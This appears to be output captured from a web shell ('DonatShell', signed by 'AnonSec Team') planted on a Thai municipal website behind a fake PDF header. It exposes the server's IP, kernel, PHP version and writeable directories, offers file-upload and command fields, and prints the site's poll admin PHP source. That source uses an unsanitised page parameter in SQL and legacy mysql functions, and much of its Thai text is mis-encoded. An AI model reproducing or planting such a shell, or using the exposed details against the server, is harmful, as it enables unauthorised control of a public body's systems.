%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/poll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/poll/admin.php
<?php
session_start();
if($_SESSION["user"]==""){
$message = "س Login ͹.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
 }
?> 
<?php 
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>       

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>                                                                                                    
<!-- InstanceBeginEditable name="doctitle" -->
<script>
function confirmDelete(delUrl) {
  if (confirm("׹ѹź")) {
    document.location = delUrl;
  }
}

function confirmSet(delUrl) {
  if (confirm("׹ѹ¹ŧʶҹ")) {
    document.location = delUrl;
  }
}
</script>
 <script language="javascript">
<!--
function openWindow(theURL) { //v2.0
  var win=window.open(theURL,'staff','width=400,height=350');
  win.focus();
}
//-->
</script>
<!-- InstanceEndEditable --> 
<?php
require_once('../admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<title>ͧúǹӺŷ觢ҹ  99/9  1 Ӻ 觢ҹ  ´ ѧѴ ѹ :: www.thungkhanan.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #3CFFFF;	
}
-->
</style>

<!--styles -->
<link href="../styles.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover%20Buttons.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
 <!--<script src="https://platform-api.sharethis.com/js/sharethis.js#property=5d255a83d97c100012d80679&product='inline-share-buttons' 
async='async"  type='text/javascript'> -->
   </script>
<!--styles -->


<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #FFFFFF}
-->
</style></head>

<body  background="../images/0bg1.png" style="background-repeat:no-repeat; background-position:top">




<!-- content -->
<div align="center">
  <table width="950" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
      <td align="center" valign="top"><tr>
        <td height="640" align="center" valign="top">&nbsp;</td>
      </tr>
      <tr>
        <td align="center" valign="top">
		<table width="1000" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/index.php"><img src="../images/menu-top_01.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/news.php?cat_id=31" target="_blank"><img src="../images/menu-top_02.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/albums/index.php" target="_blank"><img src="../images/menu-top_03.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  
		  <div class="hover13 column">
  <div>
    <figure><a href="http://www.thungkhanan.go.th/office.php"><img src="../images/menu-top_04.png" border="0" /></a></figure>
  </div>		  </td>
          <td align="center" valign="top">
		  <div class="hover13 column">
  <div></div>		  </td>
        </tr>
      </table>
		</td>
      </tr>
      </td>
    </tr>
    <tr>
      <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
        <tr>
          <td align="center" valign="top"><!-- InstanceBeginEditable name="EditRegion3" -->
        <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="0">
          <tr>
            <td height="21" class="under"><div align="center" class="title2"><img src="../images/botton/poll.png" width="640" height="78"></div></td>
            </tr>
          <tr>
            <td class="head">&nbsp;</td>
          </tr>
          <tr>
            <td class="styles1"><div align="right">
              <div align="right"><a href="../admin/main.php" class="styles2">˹ Admin </a> |
              <a href="admin.php">Ẻͺ</a>
                | <a href="add_poll.php" class="styles2">Ẻͺ </a>| <a href="../admin/signout.php" class="styles2">͡ҡк </a></div>
            </div></td>
            </tr>
          <tr>
            <td class="styles1">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="3" align="left" valign="top"><div align="left">
               <?php
			   				$sql="SELECT * FROM poll  ORDER BY id_poll desc";
			   				$res_page=mysql_query($sql);
			   				$totalrecord = mysql_num_rows($res_page);
							$pagesize =20;
							$totalpage = (int) ($totalrecord / $pagesize);
							if (($totalrecord % $pagesize) != 0) {
							  $totalpage += 1;
							}
							if (isset($_GET[pageid])) {
							   $start = $pagesize * ($_GET[pageid] - 1);
							}
							else {
							  $pageid = 1;
							  $start = 0;
							}
			//	echo $pagesize." -> ".$start;
							
			   ?>
              <table width="99%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="60%" class="styles3"><div align="left" class="styles2">ŷ <span class="title"><?php echo $totalrecord; ?></span> ¡ </div></td>
                  <td width="40%"><div align="right">
                    
                  </div></td>
                </tr>
              </table>
            </div></td>
          </tr>
          <tr>
            <td colspan="3" align="left" valign="top">
                <div align="center">
                  <table width="98%" border="0" cellpadding="2" cellspacing="0">
                    <?php
				  		
							   
							   if($totalrecord!="0"){
							   		
									
									if($pageid==1){
										$jk=1;
									}
									else{
										$a=$pageid * $pagesize;
										$jk=$a-$pagesize;
									}
									//echo " jk = ".$jk;
									$sql2=$sql."  Limit $start ,$pagesize" ;
									$res=mysql_query($sql2) or die(mysql_error());
									while($c=mysql_fetch_object($res)){
				  ?>
                    <tr>
                      <td width="3%" valign="top" class="styles2"><div align="center">
                        <? 
								if($pageid==1){
									echo $jk;
								}
								else{
									$ak=$jk+1;
									echo $ak;
								}
							?>
                      </div></td>
                      <td width="71%" valign="top" class="styles1">
                      <div align="left"><a href="detail.php?id=<? echo "$c->id_poll";?>" class="styles2"><?php echo stripslashes($c->p_title); ?></a>  
					  <?php
					        $d=explode(" ",$c->updated);
							$d2=explode("-",$d[0]);
							
							$y=$d2[0]+543;
					 echo $d2[2]." ".getMonth($d2[1])." ".$y." ".$d[1];	 ?></span> </div></td>
                      <td width="9%" align="center"><a href="add_choice.php?idp=<?php echo $c->id_poll ; ?>" class="styles1">͡</a></td>
                      <td width="9%" align="center">
                      <?php
		  		if($c->actived==1){
						echo '<a href="javascript:confirmSet(\'set_status_main.php?del='.$c->id_poll.'\')" class="styles1">ʴ</a>';
				}
				else{
					echo '<a href="javascript:confirmSet(\'set_status_main.php?id='.$c->id_poll.'\')" class="styles1">ʴ</a>';
				}
		  ?>
                      </td>
                      <td width="4%" align="center"><div align="center"><a href="add_poll.php?poll=<?php echo $c->id_poll ; ?>"><img src="../admin/images/edit.gif" alt="" width="13" height="13" border="0"></a></div></td>
                      <td width="4%" align="center"><div align="center"><a href="javascript:confirmDelete('del_poll.php?idp=<?php echo $c->id_poll ; ?>')"><img src="../admin/images/delete.gif" alt="źǢ" width="18" height="18" border="0"></a></div></td>
                    </tr>
                    <?php $jk++;		}
					  
					  }
					else  { // Show if recordset empty 
					?>
                    <tr>
                      <td height="100" colspan="6" class="title"><div align="center" class="styles">ѧբ</div></td>
                    </tr>
                    <?php } // Show if recordset empty ?>
                    </table>
              </div></td>
          </tr>
          <tr>
            <td colspan="3" class="styles1">ѧʴ˹              <?php
			for ($i=1; $i<=$totalpage; $i++) {
							  if ($i == $_GET[pageid]) {	
								echo $i . "";
							  }
							  else {
								echo "<a href=\"admin.php?pageid=$i\" class=\"styles2\">$i</a>";
							  }
							echo " | ";
						} 
			?>
            </td>
          </tr>
          <tr>
            <td class="styles1"  colspan="3"><div align="left" class="styles2"></div></td>
          </tr>
          <tr>
            <td colspan="3">&nbsp;</td>
          </tr>
        </table>
      <!-- InstanceEndEditable --></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td align="center" valign="top" style="background-repeat:no-repeat"><img src="../images/foot.png"></td>
    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>








<map name="Map6" id="Map6"><area shape="rect" coords="210,1,302,41" href="http://www.tratlocal.go.th/index.php" target="_blank" />
</map>
</body>
<!-- InstanceEnd --></html>
<?php
 function getMonth($m){
	 switch($m)
								{
										case "1":
										$printmonth = "..";
										break;
										case "2":
										$printmonth = "..";
										break;
										case "3":
										$printmonth = "..";
										break;
										case "4":
										$printmonth = "..";
										break;
										case "5":
										$printmonth = "..";
										break;
										case "6":
										$printmonth = "..";
										break;
										case "7":
										$printmonth = "..";
										break;
										case "8":
										$printmonth = "..";
										break;
										case "9":
										$printmonth = "..";
										break;
										case "10":
										$printmonth = "..";
										break;
										case "11":
										$printmonth = "..";
										break;
										case "12":
										$printmonth = "..";
										break;
										}
						return $printmonth;
 }

	 if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
?>

Anon7 - 2022
AnonSec Team